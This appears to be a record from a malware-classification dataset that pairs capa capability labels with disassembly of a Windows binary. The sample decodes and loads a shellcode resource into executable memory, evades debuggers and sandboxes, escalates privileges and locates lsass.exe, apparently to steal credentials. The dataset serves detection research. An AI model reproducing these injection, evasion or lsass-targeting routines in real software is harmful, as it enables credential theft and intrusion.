joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400104e8
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x1400104f3
je 0x1400104fe
call 0x14001054d
mov bl, 0xc7
lahf
pop rsi
jne 0x1400104de
call 0x1400104f6
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x1400104de
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x14001052c
je 0x14001056a
invalid
je 0x14001057b
jne 0x1400104de
lea rax, [0x140010404]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000c165]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x14001061c
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140010675
je 0x14001067b
call 0x14001066c
fild qword [rdi - 0x7c]
jmp 0x174f4cdee
jne 0x14001063e
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x1400105fe
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140010514
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x1400104f3
je 0x1400104fe
call 0x14001054d
mov bl, 0xc7
lahf
pop rsi
jne 0x1400104de
call 0x1400104f6
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x1400104de
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x14001052c
je 0x14001056a
invalid
je 0x14001057b
jne 0x1400104de
lea rax, [0x140010404]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000c165]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x14001061c
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140010675
je 0x14001067b
call 0x14001066c
fild qword [rdi - 0x7c]
jmp 0x174f4cdee
jne 0x14001063e
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x1400105fe
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x14001054d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x1400104f3
je 0x1400104fe
call 0x14001054d
mov bl, 0xc7
lahf
pop rsi
jne 0x1400104de
call 0x1400104f6
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x1400104de
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x14001052c
je 0x14001056a
invalid
je 0x14001057b
jne 0x1400104de
lea rax, [0x140010404]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000c165]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x14001061c
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140010675
je 0x14001067b
call 0x14001066c
fild qword [rdi - 0x7c]
jmp 0x174f4cdee
jne 0x14001063e
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x1400105fe
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret

Function at 0x1400115c4
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x14001163c
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x14001163c
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x14001163c
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x140011630
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x14001164e
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x14001161e
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x14001163e
Function at 0x1400020d8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x14009e1c8]
xor rax, rsp
mov qword [rbp + 0x2f], rax
movdqa xmm0, xmmword [0x14008b080]
lea rcx, [rbp - 0x29]
xor edi, edi
mov dword [rbp - 0x29], 0x65006b
mov word [rbp - 0x11], di
mov r12d, 0x32
movdqu xmmword [rbp - 9], xmm0
mov byte [rbp - 0x2b], dil
movdqu xmmword [rbp + 0x17], xmm0
mov dword [rbp - 0x25], 0x6e0072
mov dword [rbp - 0x21], 0x6c0065
mov dword [rbp - 0x1d], 0x320033
mov dword [rbp - 0x19], 0x64002e
mov dword [rbp - 0x15], 0x6c006c
mov dword [rbp + 7], 0x71657246
mov dword [rbp + 0xb], 0x636e6575
mov word [rbp + 0xf], 0x79
mov dword [rbp + 0x27], 0x6e756f43
mov dword [rbp + 0x2b], 0x726574
mov dword [rbp - 0x39], 0x54746547
mov dword [rbp - 0x35], 0x436b6369
mov dword [rbp - 0x31], 0x746e756f
mov word [rbp - 0x2d], 0x3436
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400022a0
lea rdx, [rbp - 9]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x17]
mov rcx, rsi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x39]
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test r15, r15
je 0x140002297
test rbx, rbx
je 0x140002297
test rax, rax
je 0x140002297
lea rcx, [rbp - 0x41]
call r15
lea rcx, [rbp - 0x49]
call rbx
lea rcx, [rbp - 0x59]
mov qword [rbp - 0x59], r12
call fcn.140007a80
lea rcx, [rbp - 0x51]
call rbx
mov rax, qword [rbp - 0x51]
xorps xmm6, xmm6
sub rax, qword [rbp - 0x49]
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rbp - 0x41]
cvtsi2sd xmm6, rax
divsd xmm6, xmm0
call r14
lea rcx, [rbp - 0x59]
mov qword [rbp - 0x59], r12
mov rbx, rax
call fcn.140007a80
call r14
sub rax, rbx
mulsd xmm6, qword [0x14008ad50]
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
jns 0x140002267
addsd xmm1, qword [0x14008ad60]
movaps xmm0, xmm1
mulsd xmm0, qword [0x14008ad40]
comisd xmm0, xmm6
ja 0x140002286
mulsd xmm1, qword [0x14008ad48]
comisd xmm6, xmm1
jbe 0x140002289
mov dil, 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, dil
jmp 0x1400022a2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140035270
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400023b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14009e1c8]
xor rax, rsp
mov qword [rbp - 0x10], rax
movdqa xmm0, xmmword [0x14008b0c0]
lea rcx, [rbp - 0x50]
xor ebx, ebx
mov dword [rbp - 0x50], 0x65006b
mov word [rbp - 0x38], bx
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x16], bl
mov dword [rbp - 0x4c], 0x6e0072
mov dword [rbp - 0x48], 0x6c0065
mov dword [rbp - 0x44], 0x320033
mov dword [rbp - 0x40], 0x64002e
mov dword [rbp - 0x3c], 0x6c006c
mov dword [rbp - 0x20], 0x50726567
mov dword [rbp - 0x1c], 0x65736572
mov word [rbp - 0x18], 0x746e
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
jne 0x14000244c
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
setne al
jmp 0x140002489
lea rdx, [rbp - 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14000247c
test rdi, rdi
je 0x14000247e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call rdi
test eax, eax
je 0x14000247e
mov bl, 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, bl
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140035270
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140003060
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x14009e1c8]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor ebx, ebx
mov dword [rbp + 0x27], 0x6e72656b
lea rcx, [rbp + 0x27]
mov byte [rbp + 0x33], bl
mov dword [rbp + 0x2b], 0x32336c65
mov dword [rbp + 0x2f], 0x6c6c642e
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14000310c
movdqa xmm0, xmmword [0x14008b110]
lea rdx, [rbp + 0x37]
mov rcx, rax
mov dword [rbp + 0x47], 0x78457375
movdqu xmmword [rbp + 0x37], xmm0
mov byte [rbp + 0x4b], bl
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003101
lea rcx, [rbp - 0x19]
mov dword [rbp - 0x19], 0x40
call rax
test eax, eax
je 0x140003101
movzx eax, bl
mov ecx, 0x80000000
cmp qword [rbp - 0x11], rcx
mov edx, 1
cmovb eax, edx
mov bl, al
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, bl
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140035270
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x140003598
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 0x13d8
call fcn.140035fc0
sub rsp, rax
mov rax, qword [0x14009e1c8]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
xor ecx, ecx
call fcn.1400589c8
or dword [rsp + 0x13b4], 0xffffffff
mov r9d, 1
mov r8d, r9d
mov dword [rsp + 0x34], eax
mov edx, r9d
mov r10d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, r8d
add r8d, r9d
mov dword [rsp + rdx*4 + 0x34], ecx
mov eax, ecx
add rdx, r9
cmp rdx, r10
jl 0x1400035dc
and dword [rsp + 0x20], 0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x24], 0x63
call fcn.140007b48
call fcn.140003130
call fcn.140003184
call fcn.140003224
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.140035270
add rsp, 0x13d8
ret

Function at 0x140003a88
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rcx]
xor r8d, r8d
mov r9, qword [rcx + 8]
sub r9, rax
cmp rax, qword [rcx + 8]
cmova r9, r8
test r9, r9
je 0x140003aaf
xor byte [rax], dl
inc r8
inc rax
cmp r8, r9
jne 0x140003aa2
ret
Function at 0x140003af0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x14009e1c8]
xor rax, rsp
mov qword [rbp - 0x10], rax
and dword [rbp - 0x28], 0
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, 0x65
mov rcx, rax
mov rsi, rax
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r14, rax
test rax, rax
je 0x140003bc4
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
je 0x140003c11
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test eax, eax
je 0x140003c5e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x140003cab
and qword [rbx], 0
lea r8, [rax + rsi]
and qword [rbx + 8], 0
mov rdx, rax
and qword [rbx + 0x10], 0
mov rcx, rbx
call fcn.1400088b4
mov rax, rbx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140035270
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
lea rax, vtable.std::exception.0
mov byte [rbp - 0x18], 1
mov qword [rbp - 0x40], rax
lea rdx, [rbp - 0x38]
xor eax, eax
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
lea rax, str.Failed_to_find_shellcode_resource
mov qword [rbp - 0x20], rax
call fcn.140054190
lea rax, vtable.std::runtime_error.0
lea rdx, [0x14009c758]
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x40]
call fcn.140056204
int3
lea rax, vtable.std::exception.0
mov byte [rbp - 0x18], 1
mov qword [rbp - 0x40], rax
lea rdx, [rbp - 0x38]
xor eax, eax
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
lea rax, str.Failed_to_load_shellcode_resource
mov qword [rbp - 0x20], rax
call fcn.140054190
lea rax, vtable.std::runtime_error.0
lea rdx, [0x14009c758]
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x40]
call fcn.140056204
int3
lea rax, vtable.std::exception.0
mov byte [rbp - 0x18], 1
mov qword [rbp - 0x40], rax
lea rdx, [rbp - 0x38]
xor eax, eax
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
lea rax, str.Shellcode_resource_size_is_0
mov qword [rbp - 0x20], rax
call fcn.140054190
lea rax, vtable.std::runtime_error.0
lea rdx, [0x14009c758]
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x40]
call fcn.140056204
int3
lea rax, vtable.std::exception.0
mov byte [rbp - 0x18], 1
mov qword [rbp - 0x40], rax
lea rdx, [rbp - 0x38]
xor eax, eax
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
lea rax, str.Failed_to_lock_shellcode_resource
mov qword [rbp - 0x20], rax
call fcn.140054190
lea rax, vtable.std::runtime_error.0
lea rdx, [0x14009c758]
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x40]
call fcn.140056204
int3
Function at 0x140003cf8
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x14009e1c8]
xor rax, rsp
mov qword [rbp + 0x90], rax
xor ebx, ebx
mov dword [rbp + 0x80], 0x7361736c
xor edx, edx
mov dword [rbp + 0x84], 0x78652e73
mov word [rbp + 0x88], 0x65
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140003dcc
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140003d99
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x7c]
call fcn.140058834
test eax, eax
je 0x140003d95
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x140003d6c
mov ebx, dword [rsp + 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140003dcc
mov eax, ebx
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.140035270
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
lea rax, vtable.std::exception.0
mov byte [rsp + 0x40], 1
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x28]
xor eax, eax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
lea rax, str.Failed_to_find_lsass.exe_process
mov qword [rsp + 0x38], rax
call fcn.140054190
lea rax, vtable.std::runtime_error.0
lea rdx, [0x14009c758]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
call fcn.140056204
int3

Function at 0x140003e24
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14009e1c8]
xor rax, rsp
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [0x14008b090]
lea rcx, [rbp - 0x30]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x30], 0x6c64746e
mov dword [rbp - 0x2c], 0x6c642e6c
mov word [rbp - 0x28], 0x6c
mov word [rbp - 0x10], 0x6567
mov byte [rbp - 0xe], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp - 0x20]
call fcn.14000379c
test rax, rax
je 0x140003ea8
xor r8d, r8d
lea r9, [rbp - 0x38]
mov dl, 1
lea ecx, [r8 + 0x14]
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140035270
add rsp, 0x80
pop rbp
ret
lea rax, vtable.std::exception.0
mov byte [rbp - 0x40], 1
mov qword [rbp - 0x60], rax
lea rdx, [rbp - 0x58]
xor eax, eax
lea rcx, [rbp - 0x48]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rax
lea rax, str.Failed_to_get_RtlAdjustPrivilege_address
mov qword [rbp - 0x48], rax
call fcn.140054190
lea rax, vtable.std::runtime_error.0
lea rdx, [0x14009c758]
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x60]
call fcn.140056204
int3
Function at 0x140004340
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x14009e1c8]
xor rax, rsp
mov qword [rbp + 0x4f], rax
movdqa xmm0, xmmword [str.ShellExecuteExA]
lea rdx, [rbp + 0x3f]
mov rdi, rcx
mov dword [rbp + 0x2f], 0x6c656873
lea rcx, [rbp + 0x2f]
mov dword [rbp + 0x33], 0x2e32336c
movdqu xmmword [rbp + 0x3f], xmm0
mov dword [rbp + 0x37], 0x6c6c64
call fcn.140007bf0
xor edx, edx
mov dword [rbp + 0x27], 0x616e7572
lea rcx, [rbp - 0x45]
mov word [rbp + 0x2b], 0x73
mov rbx, rax
mov dword [rbp - 0x49], 0x70
lea r8d, [rdx + 0x6c]
call fcn.1400562f0
and qword [rbp - 0x41], 0
lea rax, [rbp + 0x27]
lea rcx, [rbp - 0x49]
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rdi
mov dword [rbp - 0x19], 1
call rbx
test eax, eax
setne al
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140035270
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1400045c4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14009e1c8]
xor rax, rsp
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [0x14008b0d0]
lea rcx, [rbp - 0x60]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x60], 0x6e72656b
mov dword [rbp - 0x5c], 0x32336c65
mov dword [rbp - 0x58], 0x6c6c642e
mov byte [rbp - 0x54], 0
mov dword [rbp - 0x40], 0x64616f4c
mov dword [rbp - 0x3c], 0x7262694c
mov dword [rbp - 0x38], 0x41797261
mov byte [rbp - 0x34], 0
mov dword [rbp - 0x30], 0x50746547
mov dword [rbp - 0x2c], 0x41636f72
mov dword [rbp - 0x28], 0x65726464
mov word [rbp - 0x24], 0x7373
mov byte [rbp - 0x22], 0
mov word [rbp - 0x10], 0x4165
mov byte [rbp - 0xe], 0
mov dword [rbp - 0x50], 0x65766f4d
mov dword [rbp - 0x4c], 0x656c6946
mov word [rbp - 0x48], 0x41
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x140004717
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x30]
mov rcx, rbx
mov qword [0x1400a3998], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [0x1400a3998]
mov qword [0x1400a3988], rax
test rdx, rdx
je 0x140004789
test rax, rax
je 0x140004789
lea rcx, [rbp - 0x60]
call rdx
mov rbx, rax
test rax, rax
je 0x14000473d
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [0x1400a3988]
lea rdx, [rbp - 0x50]
mov rcx, rbx
mov qword [0x1400a3980], rax
call qword [0x1400a3988]
cmp qword [0x1400a3980], 0
mov qword [0x1400a3990], rax
je 0x140004763
test rax, rax
je 0x140004763
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140035270
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rbp
ret
lea rdx, [0x14008a380]
lea rcx, [0x1400a1b00]
call fcn.140007c1c
mov rcx, rax
call fcn.140007e3c
mov ecx, 1
call fcn.140057d6c
int3
lea rdx, [0x14008a3d8]
lea rcx, [0x1400a1b00]
call fcn.140007c1c
mov rcx, rax
call fcn.140007e3c
mov ecx, 1
call fcn.140057d6c
int3
lea rdx, [0x14008a3f0]
lea rcx, [0x1400a1b00]
call fcn.140007c1c
mov rcx, rax
call fcn.140007e3c
mov ecx, 1
call fcn.140057d6c
int3
lea rdx, [0x14008a3a0]
lea rcx, [0x1400a1b00]
call fcn.140007c1c
mov rcx, rax
call fcn.140007e3c
mov ecx, 1
call fcn.140057d6c
int3